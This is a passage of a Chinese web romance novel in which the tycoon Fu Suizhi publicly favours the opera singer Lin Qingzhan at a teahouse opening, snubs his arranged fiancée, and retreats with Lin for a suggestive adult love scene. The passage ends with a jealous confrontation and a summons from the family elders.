纪时礼转身看过去,嘴角的笑容扬起,“是吧,搞这么大阵仗,晚上估计整个浮城豪门圈都过来了,他这明摆着是故意的。” 顾宴迟走到纪时礼旁边的位置坐下,“他这人最不喜欢被威胁。他们要给他安排跟沈家的联姻,他不会要,他们就抓他的人过去训斥,想以儆效尤?只会适得其反激起他的逆反心理。” 唐郁东举起捏着烟的手掌,大拇指抵了抵太阳穴,“他现在根基不稳,太凶猛不见得是好事。” 顾宴迟笑,“大哥这事儿得你说,我们其他几人说没用。” 纪时礼坐起身,端着清朝古董茶杯饮了口茶,抬眸望着窗外,见沈钰铭刚下了车提着裙摆往茶楼里面走。 他对顾宴迟挑了挑眉,“沈家那位来了?牛逼!” 顾宴迟垂眸看过去,“她倒是稳得住啊,傅三都搞这么高 调了,她还能心平气和来参加宴会?” 下一秒,纪时礼抓住他的手腕,“快看,老疯子也过来了。” 顾宴迟垂眸看过去。 黑色迈巴赫停靠在今安茶楼门口,傅随之下了车,随手将西服扣子扣好,而后转过身,对车内的女人伸出手掌。 先是银色高跟鞋踏出,下一秒,林青盏抓着傅随之的手掌探出身,柔顺的紫色裙摆倾斜而下。 她走到傅随之身旁,与他并肩而在。 黑色西服的矜贵傲然,和紫藤花裙摆的柔和紧密依靠,成了门口最美丽的画面。 到场的豪门望着这画面,低声窃窃私语。 沈钰铭和宋雅薇站在门口,望着红毯上的两人,眼神暗了下来。 宋雅薇抬眸看了眼沈钰铭,轻声在她耳边说,“小钰,这你都忍得了?” 沈钰铭收回视线望向宋雅薇,唇畔勾着浅浅的笑,“他们再高调有什么用,她进不了傅家大门。” 宋雅薇还想说什么,沈钰铭抓住她的手腕,“成大事者要沉得住气。走吧,先进去。” 转过身后,沈钰铭的眼神随即沉了下来。 沈钰铭和傅随之两人小学初中高中都是同一所学校,因有沈老夫人的关系,沈钰铭常去傅家拜访。 算起来,他们也是认识了二十几年的,只是傅随之这人性情极为清冷,不是旁人能够靠近的,他们关系并不怎么样。 年少时,都会有这样的暗恋,越是高不可攀的月亮,越是迷人。 傅随之人长得极为好看俊美,成绩优异,极为聪慧,在他们那一届,他和徐泽也是最醒目的人。 只是徐泽也母亲身份卑微,相比之下,傅随之的地位显赫。 沈钰铭从小生活在沈家这种大家族,看惯了各种攀比,从小就有慕强心理。 她觉得她的男人必定要是人上人,所以即便他不喜欢她,即便他在外面养了野女人,沈钰铭也不会放弃这门亲事。 她必然要成为傅家主母。 身旁的人议论纷纷,沈钰铭全然听不见,神色平静地往里面走去,姿态极为高傲- 林青盏挽着傅随之的手臂,在他望过来时,娇嗔瞪他一眼。 这人在家里那么多人面前口出狂言,到了车上也没闲着,把她抱过去亲亲抱抱,还探进去—— 林青盏算是看出来了,开过荤的男人很容易随时随地发疯。 此刻,茶楼人声鼎沸,这件事自然不好算,她收敛了思绪,挽着傅随之的手臂往里面走。 今天是在傅随之的场子,众人自然是给面子的,主动过来打招呼,恭贺茶楼新开业。 林青盏始终站在傅随之身旁,不用他刻意介绍,过来的人都会恭敬唤一声“林小姐”。 她从小在望月台,待客之道最是擅长,凑过来的人说话,傅随之不乐意应就不开口,反倒是她好说话许多,别人说什么她都能摊上一二,谈吐让人很是舒服。 不过片刻,她就成为了众人瞩目的焦点。 沈钰铭由宋雅薇陪着坐在中间的茶桌,身边除了几位圈内名媛,并未有人上前,气氛很是冷淡。 半个小时后,她终究是受不了,起身去了洗手间,宋雅薇担心也跟着过去。 两人刚走到洗手间门口,听到两位名媛大小姐站在洗手台前说话。 “看到了么,今天三爷这算是高调宣爱了吧?” “都亲自带过来今安茶楼了,这不就是亲口认证了她的名分。” 谁能想到啊,之前传出傅三爷养了只金丝雀,众人还不相信,以为不过是个伴而已。 “这事儿说起来也是神奇,之前金丝雀跟着的可是慕家那位,后来说是慕家那位亲自将人送给三爷的。” “慕家那位恐怕是想巴结三爷,以为不过是送给女人过去没什么。” “谁能想到啊,这金丝雀当真停靠在三爷这大树之上了。” “我之前听说,那林小姐去海城出差,三爷还追过去,把人往海边别墅带,又是给送月亮送星星,又是给放烟花哄人开心的。” “这不典型的想要天上的月亮都能摘下来送到她手中的宠爱。我的天啊!” “你说这位林小姐到底是有什么能耐啊,竟然能让傅三爷如此宠爱?” “要说就是同人不同命,你没看到沈家大小姐也过来了,可只有被冷落的命,三爷甚至连个眼神都没给她。” “咳,她就是得了个沈家人的身份,听说傅老夫人很是钟爱,就想让她当傅家主母。” “那边正受宠呢,傅家主母是谁恐怕不好说。” 她们旁若无人议论了五分钟,终于补好口红转过身,看到身后的人吓了一跳,脸色很是尴尬。 沈钰铭淡淡然的没说什么,宋雅薇却忍不了,“嚼舌根前,最好先掂量下自己的身份。” 这两人身家连沈家半分都不及,自然不敢得罪她们,两人讪讪一笑,赶忙走开。 沈钰铭走过去洗了洗手。 宋雅薇双手环抱胸前,“我在慕觞淙那边听说了些,她是傅鸿源送过去的,这女人什么心思可不好说。” 沈钰铭抬眸看她。 宋雅薇继续说道:“傅三爷什么性情你还不知道,他最讨厌背叛。那金丝雀不见得存了什么歪心思,到时候还谈什么宠爱,恐怕早晚都会被傅随之捏死。” 沈钰铭想到什么,嘴角慢慢勾起邪恶的笑容- 今晚来的人太多,都是冲着浮梦今安几位爷过来的,来者必然到傅随之面前打个招呼想求着脸熟,傅随之傲然惯了,没怎么理会,林青盏却不好给人脸色。 如此下来,众人都知道往笑脸面前凑,去奉承着林青盏。 林青盏虽然不惧怕应酬,但这么一整晚下来,嗓子也有些撑不住。 还是傅随之看不下去,拉着人入座茶桌,又让人上来泡茶给林青盏润了润嗓子,后面有谁要过来打招呼,傅随之都没理会,只管盯着人给林青盏泡茶。 今安茶楼有五层楼,往上有包厢和宽阔宴会厅,但今日首日开张,以邀请贴入门,来的都是豪门。 傅随之这位主人没往楼上躲,坐着的就是一楼大厅里随意一张桌子,四周满是来喝茶的,自然也有来看好戏的。 今日这种隆重时节,傅三爷堂而皇之把金丝雀带过来了,即便是传闻中的联姻对象在旁边,也全然没有看一眼。 这件事就足够震惊全浮城了。 更让人没想到的是,傅随之对这金丝雀当真是好得有些过分。 傅随之和林青盏围着长条木桌,桌面摆放着的是清朝时期的青瓷茶具,颜色明亮的青瓷里隐约有着些许蓝,被林青盏纤细指尖捏着,更显得明亮好看。 许是说得话多了,林青盏真觉得喉咙好似快冒烟,茶艺师手指灵活地泡着茶,一杯一杯送到她面前,她举杯就饮尽。 身着黑色西装的傅随之就坐在她右手边,手肘抵着木桌,修长手指捏着茶杯,姿态悠然喝了口,抬眸看着她,眉眼间难得有着温柔。 “看来真渴了。” 喝了将近十杯茶,林青盏才停下来,抬头瞪了他一眼。 这人大晚上的都将话题抛给她,他自己倒是没说几句话,现在还要来说这些风凉话。 她纤细指尖在茶杯侧面点了点,茶艺师明了,又为她斟了茶。 想起今晚傅随之所作所为,林青盏心底还是有些担忧,抬起浓密眼界看向傅随之,“当真没事么?” 傅随之看她,明知道她什么意思,却还要反问:“能有什么事?” 林青盏心知这里不是说话的地儿,没有再继续这个话题。 片刻后,躲在楼上的其他几位也下了楼,瞬间人声鼎沸,凑过来的人更多了。 不过有纪时礼和顾宴迟在,瞄向林青盏的目光少了许多,她终于可以在傅随之身后躲个轻松。 今安茶楼是个老字号茶楼,全国各地都有,浮城原本就有三家分馆,今天开业的这是第四家。 最古老的那家今安茶楼在深巷里,到现在还摆放着戏台子,偶尔会请浮城各大戏班子去表演,林青盏也跟着白云去过。 之后的两家倒是没有设立这个,到了这第四家现场场子大,傅随之又钟爱昆曲,就让人设了戏台,专门请了几位全国出名的名角过来表演。 唱的是《小宴》,腔调拿捏很好,林青盏听得极为专注。 倒是傅随之没怎么上心,中途,他身子靠过来,在她耳边突然问:”上次跟你搭戏的是宴乐门那小子?” 林青盏目光落在舞台上,没怎 么注意地回答:“什么那小子,他叫安恒宇。” 他冷哼,“一个不相干的人,名字你倒是记得深。” 旁边坐着的纪时礼一口茶差点没喷出来。 不是,三哥这是什么口气啊?怎么如此哀怨? 林青盏看了眼纪时礼,神色难掩尴尬,纤细指尖抓住傅随之的手腕,将人往她这边拽了拽,嘴唇几乎要贴在他耳朵。 “我和他一起彩排了两天,不记住人家名字也是有点难。” 傅随之冷笑。 如果放在之前,林青盏是断然不敢相信傅随之会吃醋,但亲身体会过几次后,林青盏不得不信。 傅随之真的很霸道,明明没什么的事情,他心底一个不顺心,恐怕被折腾的又是她。 林青盏抿了抿唇,侧耳去同他说:“你的名字最令我深刻。” 傅随之还老大不情愿地看着她,半点不接受这胡扯般的哄。 她轻轻呼出一口气,“改日,我把你名字刻在心口,叫我此生都不敢忘。” 这下,纪时礼口中的茶真的喷出来了。 顾宴迟抓了纸巾把他嘴巴捂住,不过同样听到前面对话的他实在忍不住想笑。 唐郁东也很纳闷,谈恋爱是会让人变傻吗?傅随之这老疯子怎么也这么腻歪?? 只有徐泽也一脸了然,其实啊,傅三爷就是个嘴硬的情圣。 他们这边闹了一出,舞台上的表演也落下序幕。 众人在拍手叫好,沈钰铭突然走上前来,跟桌上的人都打了招呼,而后转身看向傅随之,声音沉稳道:“三哥,今天是爷爷和奶奶让我过来,庆祝今安茶楼又开了家门面,往后必然生意兴隆。” 傅随之手掌还搭在林青盏手背,亲密姿态显而易见。 众人都没料到沈钰铭看着他们如此恩爱有加,还能神色如此之稳,云淡风轻说着看似平常却主人姿态极其明显的话。 傅随之一个孤儿能走到现在的掌权之位,性情自然不比沈钰铭差,只是他压根没想给沈钰铭好脸色。 纪时礼和顾宴迟对视一眼,八卦之心熊熊燃起。 想着傅随之都这样了,反正沈钰铭这喧宾夺主的戏码也演不下去了,该灰溜溜走了吧?! 没想到! 沈钰铭还神色淡然地看向林青盏,莞尔一笑,“这位是望月台的林青盏姑娘吧。我之前去望月台看过林小姐表演,嗓音是真好听。” 林青盏抬眸看她,神色没有丝毫畏惧。 “既然舞台都敲了锣,不如请林小姐给我们献唱一曲如何?” 话音落下,旁边的纪时礼和顾宴迟倒吸了口气,连唐郁东都忍不住抬眸看向沈钰铭。 只觉得这女人脑子不太正常,干嘛没事去招惹傅随之的人。 好在,林青盏也不是随意人拿捏的软柿子。 她始终坐在位置上,抬起那如明月般亮丽的眼眸,唇畔带笑说道:“沈小姐应该很少听曲儿,不知道我们台里的规矩。” 沈钰铭蔑视一笑。 林青盏眼神跟着冷了几分,“台里安排的表演,敞开门来欢迎每一位观众赏脸。除此外,要想让我开嗓,需提前送来拜帖,我以金字回帖接受这邀请,修养一日方可上台。沈小姐若想听我唱曲,现在可不行。” 一句话直接连脸都没甩给沈钰铭。 其他人纷纷看向沈钰铭,心底也有些为她紧张,是没想到傅三爷养在身边的金丝雀竟如此不好对付。 沈钰铭依旧稳如泰山,“我不知道行里的规矩,是我唐突了。不若我亲自给林小姐斟茶,以表歉意。” 她说罢就要让桌前的茶艺师让位,被林青盏阻止,“这倒是不必。” 林青盏自然懂得,沈钰铭这一番话,再往桌前一坐,反倒是成就了她的主人姿态,林青盏就成为了客人。 傅随之终于开腔,“让小盏来。” 外人面前,他没暴露她的本名,所以叫的是“小盏”。 林青盏看向傅随之,对上他那浅棕色眼眸,心底有着疑惑。 下一秒,傅随之握住她的手掌,“客人前来想讨一杯茶喝,作为主人岂有让客人动手的道理。” 一句话犹如响雷般掷地有声,在场所有人都懂了。 傅随之这是将林青盏当女主人在捧着呢! 话已说到此,林青盏也不好拒绝。 她挪到中央主位,姿态有股云淡风轻的稳重,眼神透着清冷,或许连她自己都没发现,跟了傅随之这么一段时间,她的行事风格与他逐渐相似。 她对沈钰铭做了个“请”的手势,邀请她入座。 在场所有人都好奇看着这边,主要是奇怪沈钰铭当真就这样坐下了,难道她不应该掀个桌子。 结果很意外,沈钰铭脸色很是难看,但什么都没说,保持着典雅姿态在林青盏对面坐下。 沈钰铭心底还在想着,这戏子又没上过名媛培训班,恐怕只会唱戏,茶艺必然一般般。 她眼神不善,林青盏从容面对。 她一袭紫色连衣裙,纤细腰肢挺直坐于古木茶桌前,青瓷茶壶摆在小火炉上燃烧,有白雾沿着壶嘴腾出,将林青盏的白皙脸盘映衬得更为仙气飘飘。 她纤细指尖捏着盖纽,轻轻一转,盖子搭在茶盏边缘转了一圈,懂行的人都知道,这一招名为“时来运转”,再提水壶往茶盖浇着沸水,来了遍“温杯烫盏”。 这么下来,旁人的注意力都被吸引了过去,她轻巧捏着盖纽,又来了个“拎盖提壶”忽然往沈钰铭面前转了下,吓得沈钰铭以为她是要泼水过来,本能往后退。 傅随之始终淡漠的脸庞有了一丝笑意,紧接着冷笑一声,是他最直接的嘲讽。 林青盏倒是沉得住气,嘴角没有半分笑容,始终得体应对,到了这会儿她才“揭盖投茶”,摇摆着手腕“千杯激香”,“醒茶闻香”,再提起紫砂水壶“高山流水”灌入沸水,拍盖掀起,转动了个“春风拂面”,“搓茶摇香”,捧着茶盏往旁边的茶蟾蜍上浇灌,来了个“洗茶养宠”。 一系列操作下来,已让沈钰铭傻了眼。 林青盏从未同别人说起过,她那老师纪淮野最是喜欢搞这些有的没的穷讲究,所以她也跟着学了点皮毛。 她看向脸色苍白的沈钰铭,提壶“二注龙泉”,连着刷了个“龙飞风骨”再“关公巡城”“韩信点兵”往面前的紫砂茶杯倒入上好的岩茶,侧清杯托,对众人做了个“请”的动作,是为“鉴赏香茗”。 傅随之第一个伸出手,端起茶杯饮尽。 纪时礼也跟着端起茶杯闻了闻,一口饮尽后,高声道:“好茶!好手艺。” 林青盏面色虽未有变化,耳廓却已经红了。 傅随之看着,没忍住举手捏了捏她的耳朵,惹来林青盏一记眼神。 纪时礼看着顿时觉得这茶不是滋味! 他没忍住跟旁边的顾宴迟嘀咕,“老是秀恩爱也不怕死得快。” 顾宴迟笑容温和,“大喜之日,别说这种话。” “又不是结婚,什么大喜之日。他大喜之日这么秀,狗粮我一定往肚子里吞。” 沈钰铭听到这话,再也忍不住,站起身告辞了。 林青盏看向傅随之,神色是有些无奈的。 傅随之倒是心情不错,嘴角勾着笑,“我们家姑娘真是了得,把找事的气跑了。” “……” 纪时礼差点要掀桌子,“他妈的,狗粮都吃饱了,还喝什么茶。” 傅随之全然当作没听见,抓住林青盏的手腕将人拉起来,“正事干完了,我们上去休息会儿。” 徐泽也看不得他好,故意说:“茶还没喝够呢。不让林小姐继续赏点?” 傅随之恢复了以往傲慢冷酷的姿态,“白日做梦。” 说罢,拉着林青盏往五楼而去。 五楼是给浮梦今安几位特意留的包厢,每个人一间,都有符合各自喜好的装潢。 傅随之的包厢里挂了幅棠傛舞台表演的国风画像,书架上摆放着几个戏曲的周边摆件,一看就是跟昆曲沾了不解之缘。 包厢右边靠近木窗檐那地儿有张米白色躺椅,傅随之二话不说将人摁在里头,低头吻住她柔软嘴唇—— 作者有话说:傅三爷要明着宠了! 第43章 夜晚降临,窗外挂着的明月透进来白色月光,落在傅随之脸庞,难得叫他看起来柔和些许。 他捏着她的下巴让她抬起头,瞬间重重吻了下来,抵开她的嘴唇勾住舌尖吸吮着。 在亲密这件事上,他从来不温柔,狂风暴雨似的将她吻得快无法呼吸,才饫甘餍肥停下。 林青盏被吻得嘴唇发白,一双清纯眼眸荡着涟漪,更是惹人想怜悯。 傅随之抱着她翻了个身,让她趴在自己身上,炙热手掌沿着拉链口往腰肢摸,感觉不解渴,又往上摩挲。 林青盏最是受不了他这软刀子似的抚摸,隔着柔软的布料压住他手掌。 “你怎么知道我和老师学过茶艺?” 傅随之不喜欢望梅止渴,干脆收回手掌,神色平淡没有温度地望着她:“我不知道。” “那你就敢让我上位去给沈钰铭泡茶啊?” “有什么不敢?”傅随之丝毫不在意,垂眸看他,“即便你是随意往茶壶里冲几片茶叶,也没人敢说什么。” 今天,他让她泡茶照顾“客人”的意语是为她撑腰,既然如此,不管她做得如何,也不会有人敢当面议论什么。 左右他就坐在那儿,她自然是想怎么做就怎么做。 不过林青盏这一番茶艺操作确实让沈钰铭目瞪口呆,更是让在场所有人震惊不已。 这件事恐怕已经流传出去,外头说闲话的只会感慨,林青盏果然什么本事都会,难怪能够拿捏住堂堂傅三爷。 听她这么一番分析,傅随之垂下眼尾,“我是不是还得让秦楠往外面传消息,让那些闲人知道知道,望月台林小姐拿捏住三爷的可不是这本事,而是——” 见他没个正经的,林青盏往她肩膀捶了一拳头,而后白皙下巴搭在他胸膛,抬眸看向他。 “你是特意让小敏回来,护我平日里的安全?” 傅随之倒是没有隐瞒,点了点头。 “我从小没有父母,是在老爷子膝下长大,以往很多事情都是他们在替我做主。就算如今我已经上位,他们还想着拿捏我,就联系沈家给我谈了一门婚事。” 林青盏眼睫眨了眨,“我以为你不会跟我说这件事。” 傅随之望入她明亮的眼眸,“想知道,你不会问我?“ “我有什么权利过问。” 毕竟他们的开始是一场交易,她不过是依附他生存的笼中雀罢了,即便他不说,她也断然不敢有怨言。 傅随之眉眼冷下来,手指掐着她的下巴,却不是狩猎者的模样,反倒像极了怨男。 不过他再怎么怨,身上的那股清冷依旧。 “别老说这些我不爱听的。今天这样还不够?” 林青盏勾住他的小手指,将他的手掌拉开些许,“我又不是这个意思。” 傅随之冷哼,“你有顾蝉那眼线,我说跟不说,你早晚会知道。只是有些话,你还是得听好。” 林青盏看他。 傅随之现在的神色依旧没有温度,只是眼眸深处不再是深不见底的冰川,难得让林青盏觉得他还是个真实的人。 “我十八岁那年,依照规定拿回我父亲和母亲留下的基金,继承了本该属于我的股份,他们就再也无法掌控我。” 这是傅随之第一次主动说起自己的过往,“他们想让傅家沈家联合更强,但我不需要,也不同意。” 傅随之捏了捏她的脸蛋,“懂了?” 林青盏点了点头。 她很会审时适度,跳过这个话题,“有一件事我一直好奇。” 傅随之垂眸看她,是示意她继续说下去。 “你们五大家族各自都有自己的背景,原本就足够强大了,为什么还会有浮梦今安这个联盟在呢?” 傅随之没想到她会转而说起这些不相干的,但只一秒,他就知道,她从来都是如此,很会拿捏分寸,所以他从一开始就对她刮目相看。 他手掌贴着她的腰,脸颊蹭了蹭她的额头,缓缓开口。 “所有都是始于今安茶楼。” 明朝时期,“今安”最开始是一个茶楼的名字,因为当初唐氏家主喜欢在今安茶楼会客,跟其他四大家族的少爷们关系颇好。 那会儿时常战乱,有次浮城被外军席卷,而后为了重振浮城,唐氏家主与其他四大家主成立了“浮梦今安”护国联盟,开始重建浮城。 他们用了二十年,才让浮城恢复往日的辉煌,那之后“浮梦今安”这个联盟也继续传承了下来。 流连战乱之后,经济发展不起来,当时的浮梦今安五位爷,就想着以自家的资金投入浮城经济圈流转,如此带动起经济,慢慢地让浮城稳定繁荣。 第一代“浮梦今安”的五位家主各自退位后,为了延续浮梦今安的联盟之力,让新的家主成了第二代“浮梦今安”。 如此延续到第三代后,“浮梦今安”的联合之力已经逐渐偏离了最初的选定方式,后来各大家族的子孙为了争取家主之位,会先得到“浮梦今安”的位置。 到了傅随之他们这,已经是第六代了。 现在的浮梦今安更像是五大家族之间的相互制衡,任何一个家族都无法取消。 五大家族对于浮梦今安的情绪,就是既崇尚又恐惧,崇尚它带来的经济支撑和身份象征,又恐惧自己没能上位,这巨大支撑白白落入别人手中。 傅随之揉了揉她的肩膀,“发展历史极为复杂,大致也牵扯了各族内部的权力争夺,肯定取消不了,只能择良人继承。” “继承了联盟位置,就能继承经济支撑是说能得到股份?” “是。浮梦今安内部的股份转让,以家族之间的人员为主。” “那进入联盟的人,不是能白得股份?” “想得美,需要买。” “那进了没钱买也白费功夫?” “对。” 其实林青盏就是闲来找个话题说起,她纤细手指抠了抠他衬衫的第一个扣子,“那你们进入浮梦今安,需要考试吗?” “入盟考试有三关,文考和武试,最终是面试。” “那你们能五个能考上,肯定读书都很厉害。” 傅随之想起当年备考时在今安茶楼遇到她的事情,眼眸深处情绪复杂,手掌捧着她的脸颊突然用力一捏。 是因为她没认出他,他心底存着气。 但她并不知情,很是哀怨看着他,瘪嘴:“夸你们,还捏我?!” 傅随之突然没了说故事的兴致,慢慢闭上眼睛。 林青盏脸贴着他颈窝,“那你们这排名也是根据考试定的么?” “不是。” “那是怎么定下来的啊?” 傅随之没睁开眼睛,“武力。” 林青盏抬眸,“是打架?” “嗯。” 林青盏悠悠然说了句,“那你打架第三名?” 傅随之 终于睁开了眼睛,“第二。” “那你怎么不是排行第二?” “不管是傅二还是傅老二都很难听。” 林青盏没想到他竟然在意这些,嘴唇扬起弧度笑出声,“原来傅三的名号是这么来的呀。” 傅随之面无表情看着她,只是眼神有一丝丝不悦。 林青盏不惧怕,反倒觉得他这模样难见,故意又说道:“那你就是打不过唐郁东?原来唐家主这么厉害呀——啊!” 她话都没说完,傅随之手掌贴着她的腰用力一捏,卯足了劲儿掐得她倒吸一口气。 她往他胸口捶了一拳,“你疯了啊!” “林纾,是我疯了,还是你疯了?”傅随之阴沉着脸,“还趴在我身上,敢说别的男人厉害?” “……”林青盏抓着他的肩膀,瘪嘴:“我这话还能这样理解的么?” 傅随之冷笑一声,翻了身,将人摁住。 林青盏以为他又要吻下来,双手抵着他胸膛想让他温柔点,没想他突然掀起她的长裙。 他低下头,吻住。 林青盏身体战栗,双手抓住他的衬衫衣领,“三哥……嗯?傅随之!” 过于炙热的触觉,让林青盏收了声。 像是躺在漂浮小舟上,双腿悬空点在湖面,荡漾起一阵阵涟漪,她无力得只能抓紧他。 傅随之抓住她的手掌,迎面望着美丽盛开的海棠花。 温润嘴唇拂过,一寸寸地吞噬。 良久,他改了道,直冲往前。 林青盏弓起背,白皙圆润的脚趾头踩在他那黑色衬衫,惹了一圈圈的褶皱,像极了此刻的她凌乱不堪。 已经是濒临边缘的地步,门口突然传来敲门声,吓得林青盏剧烈冷颤。 是纪时礼在敲门:“傅三,来了很多客人,等着你招待呢!” 另一人好像是顾宴迟,低声提醒:“别发疯。” 纪时礼:“我就发疯。谁让他乱秀恩爱!” 顾宴迟:“没人爱的小处.男好可怕。” …… 门口的话语,林青盏压根听不清,只看到傅随之低头又来吻她的唇,所有的声音都被他吞没。 包括他极为克制的喘息。 结束后,他才心满意足将人抱起来,用西服外套包裹着她,为她将额前湿透的碎发往后拂去。 林青盏趴在他结实的胸膛,一根手指头都不想再动。 傅随之还要贴在她耳廓,低声问:“知道厉害了?” 林青盏没好气推他一下,“厉害厉害,你最厉害。” 傅随之由衷笑了声,跟她打了招呼,转而去点燃一根烟,叼在嘴里。 他深深吸了一口,缓慢吐出烟圈,眼眶微微泛红,是难得有些意乱情迷的姿态。 林青盏抬眸望着他。 傅随之的五官极为立体,不是那种隽秀感,是带着攻略性的阴翳,一双眼眸盯着人看的时候,总是会叫人觉得害怕。 只有这种时候,林青盏看他点燃一根事后烟,神色是极为放松的,眼眶里都是充溢而出的情.欲,还有满身是汗的躯壳,难得带了些血性。 林青盏伸手摸了摸他的胸膛,傅随之垂眸看她,“想抽?” 她摇摇头,纤细指尖学着他的动作去捏住他的下巴,声音轻柔却不讨好,“只是觉得现在你真实得很好看。” 傅随之低笑一声,竟懂得她话中的意思。 方才穿进来的黑色衬衫被他脱下来,垫在她身下,经过一场激烈的情.事后皱巴巴的,还有不明的白色东西晕染了一大片。 肯定是不能穿了。 傅随之打电话让傅慎送了衣服过来换上。 纪时礼虽然很欠揍,但话说得在理,今天有很多人需要应酬,他还是得有主人姿态。 林青盏被折腾得没了半条命,傅随之让她在包厢里休息,自个儿去找其他人。 顶楼极为安静,林青盏窝在躺椅上,迷迷糊糊昏睡过去。 她是被手机铃声吵醒,以为是傅随之打过来的,着急翻过身拿起电话接听,却听到贺兰承的声音。 “小灯笼,是我,哥哥。” 林青盏坐起身,将身上的黑色西服裹紧,四处看了看确认包厢里没有其他人,才出了声:“哥?” “方便见面?我就在今安茶楼。” 今安茶楼她不熟悉,反倒是贺兰承像是摸清了各方位。 他让林青盏下到二楼走廊尽头,两人直接在走廊上碰面,两边包厢没有人,说话方便,也不会因为遮遮掩掩反倒是惹人怀疑。 贺兰承戴着金框眼镜,没什么表情看着她,口吻却是担忧的,“听说傅家人找你麻烦,受伤了吗?” 他有林博蘅这眼线,知道她发生的事情并不难,林青盏没有隐瞒,将近日发声的事情说了遍。 贺兰承蹙眉,“傅府是大家族,关系盘根复杂,傅随之现在就只是孤家寡人,跟他对立的是傅清檐一整家子,虽然他现在是傅氏掌权人,但根基不稳,有傅老爷子和傅清檐掣肘制肘,终归还要仰人鼻息受制于人。” 他现在毕竟是位于权力游戏中,体察格局自然比她清楚许多。 “我知道你跟着他是不得为之,当时马来西亚那边闹得厉害,我早想来接你,却被困住。现在我来了,如果你想,我随时可以带你离开。” 林青盏迟疑看向他。 贺兰承眼里有着疼惜,“傅随之并不是良配,我并不希望你这样待在他身边。你好好考虑一下。” 某种程度上,贺兰承和傅随之性情很像,属于说一不二的个性。 所以,林青盏没有严词拒绝。 贺兰承还想说什么,看到林青盏身后,神色忽然变得凌然,林青盏转过身,看到傅随之单手插兜走过来,吓得瞳孔一震。 傅随之身穿黑色衬衫,戴着金框眼镜,眼眸犀利。贺兰承一袭白色衬衫,戴着金框眼镜,神色清冷。 两人面对面站着,气势如虹,林青盏位于两人中间,莫名有种左右为难的感觉。 她看了看贺兰承,随即往傅随之那边靠近,勾住他的手指。 傅随之用力抓住她的手掌,眼神犹如覆盖寒霜般阴冷望着贺兰承。 是贺兰承先开了口,“傅三爷,久仰大名。” 傅随之挑眉,一副不愿意回应的冷漠样子。 林青盏轻轻晃了晃他的手掌,“这位是贺兰承先生,之前和林博蘅先生来望月台看过表演。” 傅随之冷眸看向她,最终还是没让她难看,“贺先生,听说过,贺老的人。” 贺兰承懂他话中的睥睨感。 不过是因为贺老,才认识了贺兰承。 贺兰承清冷一笑。 傅随之眼神又沉了几分,转而看向林青盏,口吻不善,“你们刚刚在说什么?” 林青盏眨了眨浓密眼睫,“我刚醒下来想找你,不知道你在哪间包厢,绕了一圈,刚好碰到贺先生在这里透气,就打了个招呼。” “噢。”傅随之将她搂入怀中,“走了。” 说罢,抓着她肩膀,转过身就要走。 林青盏赶忙回眸,望着贺兰承说了句:“贺先生,再见。” 话音刚落,她感觉落在她肩膀的手掌骤然捏紧,疼得她倒吸一口气。 因他抱得太紧了,林青盏几乎是贴在他胸口,林青盏手掌抵着他要推开,“你抓疼我了。” “活该。” “??” 林青盏觉得这人真是莫名其妙! 但贺兰承还在身后看着,她不想挣扎太过明显,反倒是让贺兰承担心。 等拐了弯,林青盏抓住他的手指掰开了些,“真的很痛!” 傅随之反手就将她摁在墙上,手掌撑在她脑袋旁边,阴沉眼眸盯着她,“跟他说什么再见?你还想和他再见?” “啊?”林青盏不明所以看向他,见他那表情略显怪异,瞬间明了,“我跟他——” 傅随之拇指摁着她嘴角,“我是不是告诉过你,离别的男人远一点。” “别的男人……”林青盏转悠着明亮眼眸,“是说除了你之外的男人吗?” “知道就好。” “可是我总不能是个男的,以后都不说话了。”林青盏垂下眼角,纯洁眼眸荡漾着涟漪,“你好霸道。” 傅随之望着她那单纯的眼眸,心底的情绪像是海浪一阵一阵翻涌而来。 她就是有这样的本事,明明是单纯无害的一双眼眸,望着人的时候,却像是曼陀罗似的勾人摄魂,甘愿为她死。 傅随之懒得跟她废话,低头找到她红润嘴唇,用力咬下去,耳畔听到她因疼痛发出的呻.吟,心底莫名有着畅快的感觉。 他手掌箍住她的腰,将人用力往自己怀里勾过来,越发凶狠地亲着她。 走廊尽头,想出来抽烟的唐郁东和纪时礼站在包厢门口,看着面前的这一幕,叹为观止。 纪时礼看唐郁东,“大哥,我没夸大其词吧,我就感觉傅三像是被夺舍了一样。你以前能想象傅三是这样谈恋爱的?” 唐郁东用大拇指挠了挠额头,“别说以前,我现在也想不通。” 纪时礼悠悠叹了口气,“要不怎么说浮梦今安之首唐老大,无欲无求,连女人都没兴趣。大家都要以为你是性冷淡,或许果真如此?” “你倒是对女人有兴趣,看着舒姑娘给你当嫂子,心底很爽?” “靠!” 唐郁东冷笑,“只会暗恋的小处.男,敢鄙视老子?” “……”- 傅府荣华园中。 沈钰铭将今天的事情一五一十说给傅怀锦和沈家蓉听。 老爷子傅怀锦半依靠在木椅上,气得胡须都跟着颤抖,“好一个傅随之,现在翅膀硬了,竟敢这样驳我们面子。” 沈家蓉伸手拍了拍老爷子的后背,“你可千万别气坏了身子。” 沈钰铭赶忙端起一旁的茶水,递过去让老爷子喝了一口压一压。 “今天这事儿,是我不敢欺瞒,惹傅爷爷生气了。” 沈家蓉最是疼爱这个堂孙女,“沈钰铭今天这件事自然不怪你,让你受委屈了。” “我受点委屈倒是没什么。”沈钰铭为老夫人沏了杯茶,端到她面前,“我父亲早说过,傅家和沈家能亲上加亲,那是最好的了。只是看今天三哥对那林小姐的维护,恐怕这件事不能如我父亲所愿,也要叫您二老失望了。” 沈家蓉:“那戏子有什么好的,能将随之迷得如此神魂颠倒。” 沈钰铭故作委屈状,“您是没看到今天三哥对她的维护,像是恨不得公然宣布她是傅家未来主母的身份。关键是那女人——” 她突然停顿,眼神闪烁,像是反应过来说错了话。 傅怀锦眼神凌冽几分,“说下去。” “那女人像是及有把握似的,半点不知道遮掩,竟然也是一副未来主母的姿态。” 一听这话,傅怀锦气得直拍桌子,“她倒是敢。” 沈家蓉:“别气了,早晚有收拾她的一天。” 傅怀锦深吸一口气,手里捏着核桃盘了两圈,方才缓过气来,“教训那女人倒是不着急。傅常,先去把傅随之那小子给我叫过来!”- 傅随之原本正要带着林青盏回海棠湾,被傅常一通电话又叫回傅府。 回了傅府,他让傅小灵和傅小敏陪着林青盏回了海棠苑,自己脚步不停去了荣华园。 傅怀锦七十九岁的高龄,近两年身体越发不行,眼神也跟着变得不好。 夜晚来临,他迷迷糊糊就要躺下了,屋里没亮着明灯,只有角落里立着古董莲花灯透出暖黄色的光。 老夫人还没睡下,坐在外屋的罗汉椅上,手边是沈钰铭刚给端过来的润肺甜汤。 